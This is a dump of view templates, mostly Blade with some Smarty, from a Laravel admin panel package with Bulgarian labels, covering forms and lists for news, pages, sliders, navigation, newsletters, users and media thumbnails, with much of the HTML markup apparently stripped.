================================================ FILE: src/views/home/home.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
Административен панел
@endsection ================================================ FILE: src/views/item/item.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/item/itemdatelist.blade.php ================================================ @foreach ($list as $v)
{{ $v->date_at }}
@endforeach ================================================ FILE: src/views/item/itemform.blade.php ================================================

Предмет {{ $data->slug }}

    @foreach ($lang_list as $v) @endforeach
@foreach ($lang_list as $v)
@endforeach

Категории

@foreach($category_list as $v) @if($v->parent_id == 0) id, $data->category_list))checked="checked"@endif />
@foreach($category_list as $vv) @if($vv->parent_id == $v->id) id, $data->category_list))checked="checked"@endif />
@endif @endforeach @endif @endforeach

Медия

Главна снимка 245 x 196 px
Малки под нея, 2 бр., 121 x 99 px

@include('clixy/admin::multimedia.media', ['cat_id' => 5, 'item_id' => $data->id])
================================================ FILE: src/views/item/itemlist.blade.php ================================================ @foreach ($list as $v) @endforeach ================================================ FILE: src/views/layouts/default.blade.php ================================================ {!! Html::style('assets/lib/foundation-icon-fonts/foundation-icons.css') !!} {!! Html::style('assets/admin/css/app.css') !!} @yield('refresh')
@yield('content') {!! Html::script('assets/lib/jquery/dist/jquery.min.js') !!} {!! Html::script('assets/lib/modernizr-min/dist/modernizr.min.js') !!} {!! Html::script('assets/lib/what-input/what-input.min.js') !!} {!! Html::script('assets/lib/foundation-sites/dist/foundation.min.js') !!} {!! Html::script('assets/lib/ckeditor/ckeditor.js') !!} {!! Html::script('assets/admin/js/app.js') !!} @if (!empty($module)) {!! Html::script("assets/admin/js/model/{$module}.js") !!} @endif ================================================ FILE: src/views/multimedia/edit_title_form.blade.php ================================================ {assign var="lang_list" value=","|explode:"1"} затвори прозореца
{include file="common/tabulation.tpl" prefix="media_content_`$id`"} {foreach from=$lang_list item=v} {assign var="lang_id" value=$v}
{/foreach}
{include file="common/button.tpl" type="submit" value=$lang.button.save} {include file="common/button.tpl" type="button" value=$lang.button.cancel id="edit_title_hold_cancel_`$id`" class="reset"}
================================================ FILE: src/views/multimedia/media.blade.php ================================================
@include('clixy/admin::multimedia.multi_file_upload')
================================================ FILE: src/views/multimedia/media_detail_list_ajax.blade.php ================================================
@foreach($list as $k => $v)

{{ $v->title }}

{{ $v->width }} x {{ $v->height }} px, {{ number_format($v->size / 1024, 2) }} Kb

@include('clixy/admin::common.gallery.list', ['items' => ['delete'], 'id' => $v->id, 'obj' => $obj])
@include('clixy/admin::multimedia.edit_title_form', ['id' => $v->id])
@endforeach
================================================ FILE: src/views/multimedia/multi_file_upload.blade.php ================================================ ================================================ FILE: src/views/multimedia/thumbnails/AVI.tpl ================================================ {$item->title.$lang_code} ================================================ FILE: src/views/multimedia/thumbnails/DOC.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/FLV.tpl ================================================
{$item->title.$lang_code}
================================================ FILE: src/views/multimedia/thumbnails/GIF.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/JPG.blade.php ================================================ {{ $title }} ================================================ FILE: src/views/multimedia/thumbnails/JPG.tpl ================================================ {{ $title }} ================================================ FILE: src/views/multimedia/thumbnails/MOV.tpl ================================================
{$item->title.$lang_code}
================================================ FILE: src/views/multimedia/thumbnails/MP3.tpl ================================================ {$item->title.$lang_code} ================================================ FILE: src/views/multimedia/thumbnails/PDF.tpl ================================================ {$item->title.$lang_code} ================================================ FILE: src/views/multimedia/thumbnails/PNG.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/PPT.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/RAR.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/SWF.tpl ================================================ {$item->title.$lang_code} ================================================ FILE: src/views/multimedia/thumbnails/TIF.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/WMV.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/XLS.tpl ================================================ {$title} ================================================ FILE: src/views/multimedia/thumbnails/ZIP.tpl ================================================ {$title} ================================================ FILE: src/views/navigation/navigation.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')

Е сайта има 4 менюта. Всяко елемент от меню води към страница.

@endsection ================================================ FILE: src/views/navigation/navigationform.blade.php ================================================
@if(0) {{ print_r($data, true) }} @endif

{{ $data->id }}

@if(0)

Медия

Главна снимка 245 x 196 px

Малки под нея, 2 бр., 121 x 99 px

@include('clixy/admin::multimedia.media', ['cat_id' => 2, 'item_id' => $data->id]) @endif
================================================ FILE: src/views/navigation/navigationlist.blade.php ================================================ @foreach($group_list as $g) @if($g->parent_id != 0)

{{ $g->alias }}

@foreach ($list as $v) @if($v->group_id == $g->id) @endif @endforeach
@endif @endforeach ================================================ FILE: src/views/news/news.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/news/newsform.blade.php ================================================

Новина / {{ $data->id }} /

    @foreach ($lang_list as $v) @endforeach
@foreach ($lang_list as $v)

@endforeach

Медия

@include('clixy/admin::multimedia.media', ['cat_id' => 7, 'item_id' => $data->id])
================================================ FILE: src/views/news/newslist.blade.php ================================================ @foreach ($list as $v) @if($v->parent_id == 0) @foreach ($list as $vv) @if($vv->parent_id == $v->id) @endif @endforeach @endif @endforeach ================================================ FILE: src/views/newsletter/newsletter.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/newsletter/newsletterform.blade.php ================================================

Писмо / {{ $data->id }} /

    @foreach ($lang_list as $v) @endforeach
@foreach ($lang_list as $v)
@endforeach

Медия

@include('clixy/admin::multimedia.media', ['cat_id' => 8, 'item_id' => $data->id])
================================================ FILE: src/views/newsletter/newsletterlist.blade.php ================================================ @foreach ($list as $v) @endforeach ================================================ FILE: src/views/page/page.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/page/pageform.blade.php ================================================

Страница / {{ $data->id }} /

    @foreach ($lang_list as $v) @endforeach
@foreach ($lang_list as $v)

@endforeach

Медия

@include('clixy/admin::multimedia.media', ['cat_id' => 7, 'item_id' => $data->id])
================================================ FILE: src/views/page/pagelist.blade.php ================================================ @foreach ($list as $v) @if($v->parent_id == 0) @foreach ($list as $vv) @if($vv->parent_id == $v->id) @endif @endforeach @endif @endforeach ================================================ FILE: src/views/slider/slider.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/slider/sliderform.blade.php ================================================

Слайд / {{ $data->id }}

@foreach ($lang_list as $v)
@endforeach

Медия

@include('clixy/admin::multimedia.media', ['cat_id' => 1, 'item_id' => $data->id])
================================================ FILE: src/views/slider/sliderlist.blade.php ================================================ @foreach ($list as $v) @endforeach ================================================ FILE: src/views/user/user.blade.php ================================================ @extends('clixy/admin::layouts.default') @section('content')
@endsection ================================================ FILE: src/views/user/userform.blade.php ================================================

{{ $data->id }}

================================================ FILE: src/views/user/userlist.blade.php ================================================ @foreach ($list as $v) @endforeach